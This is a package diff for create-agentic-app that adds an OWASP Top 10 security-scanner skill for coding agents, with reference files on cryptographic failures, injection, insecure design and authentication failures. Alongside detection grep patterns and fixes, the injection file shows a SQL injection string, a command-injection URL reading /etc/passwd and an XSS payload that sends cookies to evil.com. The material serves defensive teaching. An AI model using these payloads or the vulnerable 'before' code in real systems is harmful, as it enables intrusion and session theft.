create-agentic-app 1.1.55 → 1.1.57
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/template/.agents/skills/security-scanner/SKILL.md +157 -0
- package/template/.agents/skills/security-scanner/references/A01-broken-access-control.md +136 -0
- package/template/.agents/skills/security-scanner/references/A02-security-misconfiguration.md +130 -0
- package/template/.agents/skills/security-scanner/references/A03-software-supply-chain-failures.md +117 -0
- package/template/.agents/skills/security-scanner/references/A04-cryptographic-failures.md +141 -0
- package/template/.agents/skills/security-scanner/references/A05-injection.md +155 -0
- package/template/.agents/skills/security-scanner/references/A06-insecure-design.md +145 -0
- package/template/.agents/skills/security-scanner/references/A07-authentication-failures.md +150 -0
- package/template/.agents/skills/security-scanner/references/A08-software-data-integrity-failures.md +132 -0
- package/template/.agents/skills/security-scanner/references/A09-security-logging-alerting-failures.md +130 -0
- package/template/.agents/skills/security-scanner/references/A10-mishandling-exceptional-conditions.md +154 -0
- package/template/.agents/skills/security-scanner/references/report-template.md +148 -0
- package/template/.claude/agents/security-scanner.md +214 -0
- package/template/.claude/skills/security-scanner/SKILL.md +157 -0
- package/template/.claude/skills/security-scanner/references/A01-broken-access-control.md +136 -0
- package/template/.claude/skills/security-scanner/references/A02-security-misconfiguration.md +130 -0
- package/template/.claude/skills/security-scanner/references/A03-software-supply-chain-failures.md +117 -0
- package/template/.claude/skills/security-scanner/references/A04-cryptographic-failures.md +141 -0
- package/template/.claude/skills/security-scanner/references/A05-injection.md +155 -0
- package/template/.claude/skills/security-scanner/references/A06-insecure-design.md +145 -0
- package/template/.claude/skills/security-scanner/references/A07-authentication-failures.md +150 -0
- package/template/.claude/skills/security-scanner/references/A08-software-data-integrity-failures.md +132 -0
- package/template/.claude/skills/security-scanner/references/A09-security-logging-alerting-failures.md +130 -0
- package/template/.claude/skills/security-scanner/references/A10-mishandling-exceptional-conditions.md +154 -0
- package/template/.claude/skills/security-scanner/references/report-template.md +148 -0
- package/template/AGENTS.md +40 -0
- package/template/next-env.d.ts +1 -1
- package/template/specs/ui-polish-responsive/README.md +59 -0
- package/template/specs/ui-polish-responsive/action-required.md +3 -0
- package/template/specs/ui-polish-responsive/requirements.md +53 -0
- package/template/specs/ui-polish-responsive/tasks/task-01-globals-css.md +144 -0
- package/template/specs/ui-polish-responsive/tasks/task-02-layout.md +66 -0
- package/template/specs/ui-polish-responsive/tasks/task-03-site-header.md +79 -0
- package/template/specs/ui-polish-responsive/tasks/task-04-site-footer.md +63 -0
- package/template/specs/ui-polish-responsive/tasks/task-05-home-page.md +215 -0
- package/template/specs/ui-polish-responsive/tasks/task-06-dashboard.md +222 -0
- package/template/specs/ui-polish-responsive/tasks/task-07-chat-page.md +225 -0
- package/template/specs/ui-polish-responsive/tasks/task-08-profile-page.md +192 -0
- package/template/specs/ui-polish-responsive/tasks/task-09-auth-pages.md +97 -0
- package/template/specs/ui-polish-responsive/tasks/task-10-setup-checklist.md +120 -0
- package/template/specs/ui-polish-responsive/tasks/task-11-starter-prompt-modal.md +87 -0
- package/template/src/app/globals.css +65 -7
- package/template/src/app/layout.tsx +2 -2
- package/template/src/app/page.tsx +174 -174
- package/template/src/components/setup-checklist.tsx +162 -162
- package/template/src/components/site-footer.tsx +2 -2
- package/template/src/components/site-header.tsx +3 -3
- package/template/src/components/starter-prompt-modal.tsx +202 -202
|
@@ -0,0 +1,141 @@
|
|
|
1
|
+
# A04:2025 — Cryptographic Failures
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
Cryptographic Failures is #4 in OWASP Top 10:2025 (down from #2). It covers failures related to lack of cryptography, insufficiently strong cryptography, leaking of cryptographic keys, and related errors. 32 CWEs mapped, 1,665,348 total occurrences, 2,185 CVEs.
|
|
6
|
+
|
|
7
|
+
## Key CWEs
|
|
8
|
+
|
|
9
|
+
- **CWE-261**: Weak Encoding for Password
|
|
10
|
+
- **CWE-319**: Cleartext Transmission of Sensitive Information
|
|
11
|
+
- **CWE-321**: Use of Hard-coded Cryptographic Key
|
|
12
|
+
- **CWE-326**: Inadequate Encryption Strength
|
|
13
|
+
- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm
|
|
14
|
+
- **CWE-328**: Reversible One-Way Hash
|
|
15
|
+
- **CWE-330**: Use of Insufficiently Random Values
|
|
16
|
+
- **CWE-338**: Use of Cryptographically Weak PRNG
|
|
17
|
+
- **CWE-759**: Use of One-Way Hash Without a Salt
|
|
18
|
+
- **CWE-916**: Use of Password Hash With Insufficient Computational Effort
|
|
19
|
+
|
|
20
|
+
## What to Look For
|
|
21
|
+
|
|
22
|
+
### General Patterns
|
|
23
|
+
- Weak hashing algorithms used for passwords (MD5, SHA1, SHA256 without key stretching)
|
|
24
|
+
- Missing salt in password hashing
|
|
25
|
+
- Hardcoded cryptographic keys, secrets, or API keys in source code
|
|
26
|
+
- Sensitive data transmitted without encryption (HTTP, FTP, SMTP)
|
|
27
|
+
- Weak random number generation for security tokens (Math.random, rand())
|
|
28
|
+
- Cookies missing `Secure` flag (sent over HTTP)
|
|
29
|
+
- Sensitive data in logs (passwords, tokens, credit cards, PII)
|
|
30
|
+
- Base64 encoding used as "encryption" for tokens or secrets
|
|
31
|
+
- Deprecated crypto algorithms (DES, 3DES, RC4, MD5, SHA1)
|
|
32
|
+
- Missing HSTS headers
|
|
33
|
+
- Hardcoded IVs or nonces in encryption
|
|
34
|
+
|
|
35
|
+
### Grep Patterns
|
|
36
|
+
|
|
37
|
+
```
|
|
38
|
+
# Weak hashing
|
|
39
|
+
createHash\(['"]md5['"]\)|createHash\(['"]sha1['"]\)
|
|
40
|
+
hashlib\.md5|hashlib\.sha1
|
|
41
|
+
MessageDigest\.getInstance\(['"]MD5['"]\)|MessageDigest\.getInstance\(['"]SHA-1['"]\)
|
|
42
|
+
md5\(|sha1\(
|
|
43
|
+
|
|
44
|
+
# Weak randomness
|
|
45
|
+
Math\.random|random\.random|rand\(\)|Random\(\)
|
|
46
|
+
uuid.*v1|Date\.now
|
|
47
|
+
|
|
48
|
+
# Hardcoded secrets/keys
|
|
49
|
+
SECRET.*=\s*['"][^'"]{8,}|KEY.*=\s*['"][^'"]{8,}|PASSWORD.*=\s*['"][^'"]{4,}
|
|
50
|
+
private.?key|secret.?key|api.?key|access.?token
|
|
51
|
+
|
|
52
|
+
# Base64 as "encryption"
|
|
53
|
+
Buffer\.from.*base64|btoa\(|atob\(
|
|
54
|
+
base64\.encode|base64\.decode
|
|
55
|
+
|
|
56
|
+
# Cookie security flags
|
|
57
|
+
httpOnly\s*:\s*false|secure\s*:\s*false|sameSite.*none
|
|
58
|
+
Set-Cookie(?!.*Secure)(?!.*HttpOnly)
|
|
59
|
+
|
|
60
|
+
# Cleartext protocols
|
|
61
|
+
http:\/\/(?!localhost)|ftp:\/\/|smtp:\/\/
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
### JavaScript / TypeScript / Node.js
|
|
65
|
+
- `crypto.createHash('md5')` or `crypto.createHash('sha1')` for password hashing
|
|
66
|
+
- `Math.random()` used for tokens, session IDs, or reset codes
|
|
67
|
+
- `Buffer.from(data).toString('base64')` used as a "token" (trivially decodable)
|
|
68
|
+
- Session cookies set without `httpOnly: true`, `secure: true`, `sameSite: 'strict'`
|
|
69
|
+
- JWT secrets hardcoded in source files
|
|
70
|
+
- Missing `bcrypt`, `argon2`, or `scrypt` for password hashing
|
|
71
|
+
|
|
72
|
+
### Python
|
|
73
|
+
- `hashlib.md5()` or `hashlib.sha1()` for passwords
|
|
74
|
+
- `random.random()` or `random.randint()` for security tokens (should use `secrets` module)
|
|
75
|
+
- `base64.b64encode()` used as encryption
|
|
76
|
+
|
|
77
|
+
### Java
|
|
78
|
+
- `MessageDigest.getInstance("MD5")` or `MessageDigest.getInstance("SHA-1")`
|
|
79
|
+
- `java.util.Random` instead of `java.security.SecureRandom`
|
|
80
|
+
- Hardcoded keys in `KeySpec` constructors
|
|
81
|
+
|
|
82
|
+
## Prevention Measures
|
|
83
|
+
|
|
84
|
+
1. Classify data and identify what needs encryption per privacy laws and regulations
|
|
85
|
+
2. Don't store sensitive data unnecessarily — data not retained cannot be stolen
|
|
86
|
+
3. Encrypt all sensitive data at rest using strong algorithms (AES-256)
|
|
87
|
+
4. Use TLS 1.2+ for all data in transit; enforce with HSTS
|
|
88
|
+
5. Store passwords with strong adaptive hashing: Argon2, scrypt, bcrypt, or PBKDF2
|
|
89
|
+
6. Always use salts and appropriate work factors
|
|
90
|
+
7. Use CSPRNG for all security-sensitive random values
|
|
91
|
+
8. Never reuse IVs/nonces with the same key
|
|
92
|
+
9. Use authenticated encryption (GCM mode, not ECB/CBC)
|
|
93
|
+
10. Rotate cryptographic keys regularly
|
|
94
|
+
11. Disable caching for responses containing sensitive data
|
|
95
|
+
|
|
96
|
+
## Example Attack Scenarios
|
|
97
|
+
|
|
98
|
+
**Scenario 1 — Weak Password Hashing:**
|
|
99
|
+
Password database uses unsalted MD5. Attacker retrieves database via another vulnerability, cracks all passwords via rainbow tables in minutes.
|
|
100
|
+
|
|
101
|
+
**Scenario 2 — Predictable Tokens:**
|
|
102
|
+
Password reset tokens generated with `Math.random()`. Attacker predicts tokens and resets other users' passwords.
|
|
103
|
+
|
|
104
|
+
## Fix Examples
|
|
105
|
+
|
|
106
|
+
**Before (MD5 password hashing):**
|
|
107
|
+
```typescript
|
|
108
|
+
import crypto from 'crypto';
|
|
109
|
+
function hashPassword(password: string) {
|
|
110
|
+
return crypto.createHash('md5').update(password).digest('hex');
|
|
111
|
+
}
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
**After (bcrypt with salt):**
|
|
115
|
+
```typescript
|
|
116
|
+
import bcrypt from 'bcrypt';
|
|
117
|
+
async function hashPassword(password: string) {
|
|
118
|
+
return bcrypt.hash(password, 12);
|
|
119
|
+
}
|
|
120
|
+
async function verifyPassword(password: string, hash: string) {
|
|
121
|
+
return bcrypt.compare(password, hash);
|
|
122
|
+
}
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
**Before (predictable token):**
|
|
126
|
+
```typescript
|
|
127
|
+
const resetToken = Math.random().toString(36).substring(2);
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
**After (cryptographically secure token):**
|
|
131
|
+
```typescript
|
|
132
|
+
import crypto from 'crypto';
|
|
133
|
+
const resetToken = crypto.randomBytes(32).toString('hex');
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
## References
|
|
137
|
+
|
|
138
|
+
- [OWASP A04:2025](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/)
|
|
139
|
+
- OWASP Cheat Sheet: Password Storage
|
|
140
|
+
- OWASP Cheat Sheet: Cryptographic Storage
|
|
141
|
+
- OWASP Cheat Sheet: Transport Layer Protection
|
|
@@ -0,0 +1,155 @@
|
|
|
1
|
+
# A05:2025 — Injection
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
Injection is #5 in OWASP Top 10:2025 (down from #3). 100% of applications were tested for injection, and the category holds the highest CVE count at 62,445 across 37 CWEs. Injection occurs when untrusted user input is sent to an interpreter and executed as commands — including SQL, NoSQL, OS command, ORM, LDAP, and Expression Language injection. Cross-Site Scripting (XSS) is included in this category.
|
|
6
|
+
|
|
7
|
+
## Key CWEs
|
|
8
|
+
|
|
9
|
+
- **CWE-79**: Cross-site Scripting (XSS) — 30,000+ CVEs
|
|
10
|
+
- **CWE-89**: SQL Injection — 14,000+ CVEs
|
|
11
|
+
- **CWE-78**: OS Command Injection
|
|
12
|
+
- **CWE-20**: Improper Input Validation
|
|
13
|
+
- **CWE-94**: Improper Control of Generation of Code (Code Injection)
|
|
14
|
+
- **CWE-77**: Command Injection
|
|
15
|
+
- **CWE-74**: Injection (general)
|
|
16
|
+
- **CWE-917**: Expression Language Injection
|
|
17
|
+
- **CWE-1336**: Template Injection
|
|
18
|
+
|
|
19
|
+
## What to Look For
|
|
20
|
+
|
|
21
|
+
### SQL Injection
|
|
22
|
+
- String concatenation in SQL queries (instead of parameterized queries)
|
|
23
|
+
- Template literals embedding user input directly into SQL
|
|
24
|
+
- ORM methods with raw query options using unsanitized input
|
|
25
|
+
- Dynamic table/column names from user input
|
|
26
|
+
|
|
27
|
+
### Command Injection
|
|
28
|
+
- `exec()`, `spawn()`, `system()`, `popen()` with user-controlled arguments
|
|
29
|
+
- Shell command strings built with user input concatenation
|
|
30
|
+
- `child_process` usage with unsanitized input
|
|
31
|
+
|
|
32
|
+
### Cross-Site Scripting (XSS)
|
|
33
|
+
- `dangerouslySetInnerHTML` in React without sanitization
|
|
34
|
+
- `innerHTML`, `outerHTML`, `document.write()` with user data
|
|
35
|
+
- Template rendering of unsanitized user input
|
|
36
|
+
- URL parameters reflected into HTML without encoding
|
|
37
|
+
|
|
38
|
+
### Code Injection
|
|
39
|
+
- `eval()` with user-controlled input
|
|
40
|
+
- `Function()` constructor with user input
|
|
41
|
+
- `setTimeout`/`setInterval` with string arguments from user input
|
|
42
|
+
- Dynamic `import()` with user-controlled paths
|
|
43
|
+
|
|
44
|
+
### Server-Side Request Forgery (SSRF)
|
|
45
|
+
- HTTP requests where the URL is user-controlled
|
|
46
|
+
- URL parsing/fetching endpoints without allowlist validation
|
|
47
|
+
- Image/preview/proxy endpoints fetching arbitrary URLs
|
|
48
|
+
|
|
49
|
+
### Grep Patterns
|
|
50
|
+
|
|
51
|
+
```
|
|
52
|
+
# SQL injection
|
|
53
|
+
\+.*['"].*SELECT|SELECT.*\+.*req\.|SELECT.*\$\{|SELECT.*%s
|
|
54
|
+
\.query\(.*\+|\.execute\(.*\+|\.raw\(.*\+
|
|
55
|
+
f"SELECT|f"INSERT|f"UPDATE|f"DELETE
|
|
56
|
+
|
|
57
|
+
# Command injection
|
|
58
|
+
exec\(|execSync\(|spawn\(|spawnSync\(
|
|
59
|
+
child_process|subprocess|os\.system|os\.popen
|
|
60
|
+
Runtime\.getRuntime\(\)\.exec
|
|
61
|
+
|
|
62
|
+
# XSS
|
|
63
|
+
dangerouslySetInnerHTML|innerHTML|outerHTML|document\.write
|
|
64
|
+
v-html|ng-bind-html|\{\{\{.*\}\}\}
|
|
65
|
+
|
|
66
|
+
# Code injection
|
|
67
|
+
eval\(|Function\(|new Function|setTimeout\(.*req|setInterval\(.*req
|
|
68
|
+
|
|
69
|
+
# SSRF
|
|
70
|
+
fetch\(.*req\.|axios\(.*req\.|http\.get\(.*req\.|urllib.*req\.
|
|
71
|
+
request\.get\(.*user|requests\.get\(.*param
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
### JavaScript / TypeScript / Node.js
|
|
75
|
+
- Template literals in SQL: `` `SELECT * FROM users WHERE id = ${req.params.id}` ``
|
|
76
|
+
- `exec(command)` where command includes user input
|
|
77
|
+
- `dangerouslySetInnerHTML={{ __html: userContent }}`
|
|
78
|
+
- `eval(req.body.code)` or similar
|
|
79
|
+
- `fetch(req.query.url)` in preview/proxy endpoints
|
|
80
|
+
|
|
81
|
+
### Python (Django/Flask)
|
|
82
|
+
- `cursor.execute(f"SELECT ... {user_input}")` — use parameterized queries
|
|
83
|
+
- `os.system(f"command {user_input}")` — use subprocess with shell=False
|
|
84
|
+
- `eval(request.data)` or `exec(request.data)`
|
|
85
|
+
- Jinja2 `|safe` filter on user input
|
|
86
|
+
|
|
87
|
+
### Java (Spring)
|
|
88
|
+
- `Statement.executeQuery()` with concatenated SQL (use `PreparedStatement`)
|
|
89
|
+
- `Runtime.getRuntime().exec()` with user input
|
|
90
|
+
- JSP `<%= request.getParameter() %>` without encoding
|
|
91
|
+
|
|
92
|
+
## Prevention Measures
|
|
93
|
+
|
|
94
|
+
1. Use parameterized queries / prepared statements for ALL database access
|
|
95
|
+
2. Use safe APIs that avoid the interpreter entirely
|
|
96
|
+
3. Implement positive server-side input validation (allowlists)
|
|
97
|
+
4. Escape special characters using interpreter-specific syntax
|
|
98
|
+
5. Use LIMIT and other SQL controls to prevent mass disclosure
|
|
99
|
+
6. For XSS: use framework auto-escaping, CSP headers, sanitize HTML (DOMPurify)
|
|
100
|
+
7. For command injection: avoid shell execution entirely; use library functions
|
|
101
|
+
8. For SSRF: validate and allowlist URLs; block internal network ranges
|
|
102
|
+
|
|
103
|
+
## Example Attack Scenarios
|
|
104
|
+
|
|
105
|
+
**Scenario 1 — SQL Injection:**
|
|
106
|
+
```
|
|
107
|
+
https://example.com/search?q=' OR '1'='1
|
|
108
|
+
```
|
|
109
|
+
Query becomes: `SELECT * FROM items WHERE name = '' OR '1'='1'` — returns all records.
|
|
110
|
+
|
|
111
|
+
**Scenario 2 — Command Injection:**
|
|
112
|
+
```
|
|
113
|
+
https://example.com/export?file=report;cat /etc/passwd
|
|
114
|
+
```
|
|
115
|
+
Server executes: `convert report;cat /etc/passwd` — leaks system files.
|
|
116
|
+
|
|
117
|
+
**Scenario 3 — XSS:**
|
|
118
|
+
User stores `<script>document.location='https://evil.com/steal?c='+document.cookie</script>` as content, which executes in other users' browsers.
|
|
119
|
+
|
|
120
|
+
## Fix Examples
|
|
121
|
+
|
|
122
|
+
**Before (SQL injection):**
|
|
123
|
+
```typescript
|
|
124
|
+
const query = `SELECT * FROM notes WHERE title LIKE '%${searchTerm}%'`;
|
|
125
|
+
const results = db.all(query);
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
**After (parameterized query):**
|
|
129
|
+
```typescript
|
|
130
|
+
const results = db.all(
|
|
131
|
+
'SELECT * FROM notes WHERE title LIKE ?',
|
|
132
|
+
[`%${searchTerm}%`]
|
|
133
|
+
);
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
**Before (command injection):**
|
|
137
|
+
```typescript
|
|
138
|
+
const { exec } = require('child_process');
|
|
139
|
+
exec(`convert ${req.query.filename} output.pdf`);
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
**After (safe alternative):**
|
|
143
|
+
```typescript
|
|
144
|
+
const { execFile } = require('child_process');
|
|
145
|
+
const safeName = path.basename(req.query.filename);
|
|
146
|
+
execFile('convert', [safeName, 'output.pdf']);
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
## References
|
|
150
|
+
|
|
151
|
+
- [OWASP A05:2025](https://owasp.org/Top10/2025/A05_2025-Injection/)
|
|
152
|
+
- OWASP Cheat Sheet: Injection Prevention
|
|
153
|
+
- OWASP Cheat Sheet: SQL Injection Prevention
|
|
154
|
+
- OWASP Cheat Sheet: Query Parameterization
|
|
155
|
+
- OWASP Cheat Sheet: XSS Prevention
|
|
@@ -0,0 +1,145 @@
|
|
|
1
|
+
# A06:2025 — Insecure Design
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
Insecure Design is #6 in OWASP Top 10:2025. This category focuses on architectural and design flaws — not implementation bugs. "A secure design can still have implementation defects, but an insecure design cannot be fixed by a perfect implementation." It encompasses 39 CWEs with 729,882 total occurrences. The focus is on missing or ineffective control design around requirements, secure design methodology, and secure development lifecycle.
|
|
6
|
+
|
|
7
|
+
## Key CWEs
|
|
8
|
+
|
|
9
|
+
- **CWE-256**: Unprotected Storage of Credentials
|
|
10
|
+
- **CWE-269**: Improper Privilege Management
|
|
11
|
+
- **CWE-434**: Unrestricted Upload of File with Dangerous Type
|
|
12
|
+
- **CWE-501**: Trust Boundary Violation
|
|
13
|
+
- **CWE-522**: Insufficiently Protected Credentials
|
|
14
|
+
- **CWE-657**: Violation of Secure Design Principles
|
|
15
|
+
- **CWE-799**: Improper Control of Interaction Frequency
|
|
16
|
+
- **CWE-807**: Reliance on Untrusted Inputs in Security Decisions
|
|
17
|
+
|
|
18
|
+
## What to Look For
|
|
19
|
+
|
|
20
|
+
### General Patterns
|
|
21
|
+
- Missing rate limiting on sensitive endpoints (login, registration, password reset, OTP verification)
|
|
22
|
+
- No input validation or schema validation on API endpoints
|
|
23
|
+
- Business logic flaws (no password complexity requirements, unlimited retries)
|
|
24
|
+
- Missing account lockout mechanisms after failed login attempts
|
|
25
|
+
- Lack of defense in depth (single layer of protection)
|
|
26
|
+
- Reset/verification tokens that are guessable, short, or never expire
|
|
27
|
+
- Missing CAPTCHA or bot protection on public-facing forms
|
|
28
|
+
- Unrestricted file upload (no type/size validation)
|
|
29
|
+
- Security decisions based on client-side data
|
|
30
|
+
- Missing tenant isolation in multi-tenant applications
|
|
31
|
+
- No threat modeling evidence (design assumes trusted users)
|
|
32
|
+
|
|
33
|
+
### Grep Patterns
|
|
34
|
+
|
|
35
|
+
```
|
|
36
|
+
# Missing rate limiting
|
|
37
|
+
rateLimit|rate.?limit|throttle|express-rate-limit|slowDown
|
|
38
|
+
login|signin|sign-in|authenticate|register|signup|sign-up
|
|
39
|
+
reset.*password|forgot.*password|verify.*otp|verify.*code
|
|
40
|
+
|
|
41
|
+
# Missing input validation
|
|
42
|
+
body\.|req\.body\.|request\.body
|
|
43
|
+
zod|yup|joi|ajv|validate|validator|schema
|
|
44
|
+
express-validator|class-validator
|
|
45
|
+
|
|
46
|
+
# Password policy
|
|
47
|
+
password.*length|minLength|maxLength|complexity|strength
|
|
48
|
+
passwordPolicy|password.*requirements
|
|
49
|
+
|
|
50
|
+
# File upload without validation
|
|
51
|
+
multer|formidable|busboy|upload
|
|
52
|
+
fileFilter|allowedTypes|mimeType|fileSize|maxSize
|
|
53
|
+
|
|
54
|
+
# Token expiration
|
|
55
|
+
expires|expiry|expiration|ttl|maxAge
|
|
56
|
+
resetToken|verificationToken|otpExpiry
|
|
57
|
+
|
|
58
|
+
# Account lockout
|
|
59
|
+
lockout|maxAttempts|failedAttempts|loginAttempts|accountLock
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### JavaScript / TypeScript / Node.js
|
|
63
|
+
- Express/Next.js API routes without `express-rate-limit` or equivalent middleware
|
|
64
|
+
- Login/register endpoints accepting any password (no length/complexity check)
|
|
65
|
+
- Password reset tokens using short numeric codes without expiration
|
|
66
|
+
- File uploads via `multer` without `fileFilter` or size limits
|
|
67
|
+
- Missing input validation — `req.body` used directly without Zod/Joi/Yup schema
|
|
68
|
+
|
|
69
|
+
### Python (Django/Flask)
|
|
70
|
+
- Views without `@ratelimit` decorator on auth endpoints
|
|
71
|
+
- Missing `AUTH_PASSWORD_VALIDATORS` in Django settings
|
|
72
|
+
- File uploads without `ALLOWED_EXTENSIONS` check
|
|
73
|
+
- No `django-axes` or equivalent brute-force protection
|
|
74
|
+
|
|
75
|
+
### Java (Spring)
|
|
76
|
+
- Missing `@RateLimiter` on authentication controllers
|
|
77
|
+
- No password policy configuration in `SecurityConfig`
|
|
78
|
+
- `MultipartFile` accepted without content type validation
|
|
79
|
+
|
|
80
|
+
## Prevention Measures
|
|
81
|
+
|
|
82
|
+
1. Establish a secure development lifecycle with AppSec professionals
|
|
83
|
+
2. Build and maintain libraries of secure design patterns and components
|
|
84
|
+
3. Use threat modeling for critical authentication, access control, and business logic
|
|
85
|
+
4. Integrate security requirements into user stories
|
|
86
|
+
5. Write unit and integration tests that validate threat resistance
|
|
87
|
+
6. Implement rate limiting on all sensitive endpoints
|
|
88
|
+
7. Enforce input validation at every tier (client, API, database)
|
|
89
|
+
8. Segregate system layers based on exposure and protection needs
|
|
90
|
+
9. Implement robust multi-tenant isolation across all tiers
|
|
91
|
+
|
|
92
|
+
## Example Attack Scenarios
|
|
93
|
+
|
|
94
|
+
**Scenario 1:** Recovery workflows using knowledge-based questions ("security questions") — multiple people can know the answers, violating NIST 800-63b.
|
|
95
|
+
|
|
96
|
+
**Scenario 2:** Cinema booking system allows unlimited group discount reservations without deposit or rate limiting — attacker books hundreds of seats, causing revenue loss.
|
|
97
|
+
|
|
98
|
+
**Scenario 3:** E-commerce platform lacks bot protection — scalpers buy all limited inventory in seconds using automated tools.
|
|
99
|
+
|
|
100
|
+
## Fix Examples
|
|
101
|
+
|
|
102
|
+
**Before (no rate limiting on login):**
|
|
103
|
+
```typescript
|
|
104
|
+
export async function POST(req) {
|
|
105
|
+
const { email, password } = await req.json();
|
|
106
|
+
const user = await db.get('SELECT * FROM users WHERE email = ?', email);
|
|
107
|
+
// ... verify password and return token
|
|
108
|
+
}
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
**After (with rate limiting):**
|
|
112
|
+
```typescript
|
|
113
|
+
import rateLimit from 'express-rate-limit';
|
|
114
|
+
|
|
115
|
+
const loginLimiter = rateLimit({
|
|
116
|
+
windowMs: 15 * 60 * 1000, // 15 minutes
|
|
117
|
+
max: 5, // 5 attempts per window
|
|
118
|
+
message: { error: 'Too many login attempts, please try again later' }
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
// Apply loginLimiter middleware to the login route
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
**Before (no password policy):**
|
|
125
|
+
```typescript
|
|
126
|
+
const { password } = await req.json();
|
|
127
|
+
const hash = await bcrypt.hash(password, 12);
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
**After (with password policy):**
|
|
131
|
+
```typescript
|
|
132
|
+
const { password } = await req.json();
|
|
133
|
+
if (password.length < 12) return Response.json({ error: 'Password must be at least 12 characters' }, { status: 400 });
|
|
134
|
+
if (!/[A-Z]/.test(password) || !/[0-9]/.test(password)) {
|
|
135
|
+
return Response.json({ error: 'Password must contain uppercase and numbers' }, { status: 400 });
|
|
136
|
+
}
|
|
137
|
+
const hash = await bcrypt.hash(password, 12);
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
## References
|
|
141
|
+
|
|
142
|
+
- [OWASP A06:2025](https://owasp.org/Top10/2025/A06_2025-Insecure_Design/)
|
|
143
|
+
- OWASP Secure Design Principles Cheat Sheet
|
|
144
|
+
- OWASP SAMM Design
|
|
145
|
+
- The Threat Modeling Manifesto
|
|
@@ -0,0 +1,150 @@
|
|
|
1
|
+
# A07:2025 — Authentication Failures
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
Authentication Failures is #7 in OWASP Top 10:2025. It encompasses 36 CWEs with 1,120,673 total occurrences and 7,147 CVEs. Authentication failures occur when systems incorrectly validate user identity, allowing attackers to compromise passwords, keys, session tokens, or exploit implementation flaws to assume other users' identities.
|
|
6
|
+
|
|
7
|
+
## Key CWEs
|
|
8
|
+
|
|
9
|
+
- **CWE-259**: Use of Hard-coded Password
|
|
10
|
+
- **CWE-287**: Improper Authentication
|
|
11
|
+
- **CWE-297**: Improper Validation of Certificate with Host Mismatch
|
|
12
|
+
- **CWE-307**: Improper Restriction of Excessive Authentication Attempts
|
|
13
|
+
- **CWE-384**: Session Fixation
|
|
14
|
+
- **CWE-521**: Weak Password Requirements
|
|
15
|
+
- **CWE-613**: Insufficient Session Expiration
|
|
16
|
+
- **CWE-798**: Use of Hard-coded Credentials
|
|
17
|
+
- **CWE-640**: Weak Password Recovery Mechanism
|
|
18
|
+
|
|
19
|
+
## What to Look For
|
|
20
|
+
|
|
21
|
+
### General Patterns
|
|
22
|
+
- Weak session token generation (predictable, sequential, or base64-encoded user data)
|
|
23
|
+
- Sessions that never expire or have excessively long lifetimes
|
|
24
|
+
- Credentials appearing in URLs, logs, or error messages
|
|
25
|
+
- No password strength requirements
|
|
26
|
+
- Session cookies without `HttpOnly`, `Secure`, or `SameSite` flags
|
|
27
|
+
- User enumeration via different error responses (valid vs invalid username)
|
|
28
|
+
- Password reset tokens returned in API responses (should be sent via email/SMS only)
|
|
29
|
+
- Reset tokens that don't expire or can be reused
|
|
30
|
+
- Missing multi-factor authentication on critical operations
|
|
31
|
+
- Hard-coded credentials in source code
|
|
32
|
+
- Custom authentication instead of using established frameworks
|
|
33
|
+
- Sessions not invalidated on logout or password change
|
|
34
|
+
|
|
35
|
+
### Grep Patterns
|
|
36
|
+
|
|
37
|
+
```
|
|
38
|
+
# Session/token generation
|
|
39
|
+
session|sessionId|session_id|sessionToken
|
|
40
|
+
token.*=.*base64|token.*=.*encode|token.*=.*Math\.random
|
|
41
|
+
uuid.*v1|Date\.now.*toString
|
|
42
|
+
|
|
43
|
+
# Session cookie flags
|
|
44
|
+
httpOnly|HttpOnly|http_only
|
|
45
|
+
secure\s*:|Secure|secure.*false
|
|
46
|
+
sameSite|SameSite|same_site
|
|
47
|
+
|
|
48
|
+
# Session expiration
|
|
49
|
+
maxAge|max_age|expires|expiry|SESSION_LIFETIME
|
|
50
|
+
session.*timeout|session.*expire
|
|
51
|
+
|
|
52
|
+
# User enumeration
|
|
53
|
+
user.*not.*found|invalid.*user|no.*account|email.*not.*registered
|
|
54
|
+
incorrect.*password|wrong.*password|invalid.*credentials
|
|
55
|
+
|
|
56
|
+
# Password in logs/URLs
|
|
57
|
+
console\.log.*password|logger.*password|log.*password
|
|
58
|
+
password.*=.*req\.query|password.*=.*params
|
|
59
|
+
|
|
60
|
+
# Hard-coded credentials
|
|
61
|
+
password.*=.*['"][^'"]+['"]|credential.*=.*['"]
|
|
62
|
+
admin.*admin|root.*root|test.*test
|
|
63
|
+
DEFAULT_PASSWORD|ADMIN_PASSWORD
|
|
64
|
+
|
|
65
|
+
# Reset tokens
|
|
66
|
+
resetToken|reset_token|verification_token|verificationToken
|
|
67
|
+
token.*response|json.*token.*reset
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
### JavaScript / TypeScript / Node.js
|
|
71
|
+
- Session token built as `Buffer.from(userId + ':' + timestamp).toString('base64')` — trivially decodable
|
|
72
|
+
- `Math.random()` used for session or reset tokens
|
|
73
|
+
- Cookie set without `{ httpOnly: true, secure: true, sameSite: 'strict' }`
|
|
74
|
+
- Login endpoint returns different messages for "user not found" vs "wrong password"
|
|
75
|
+
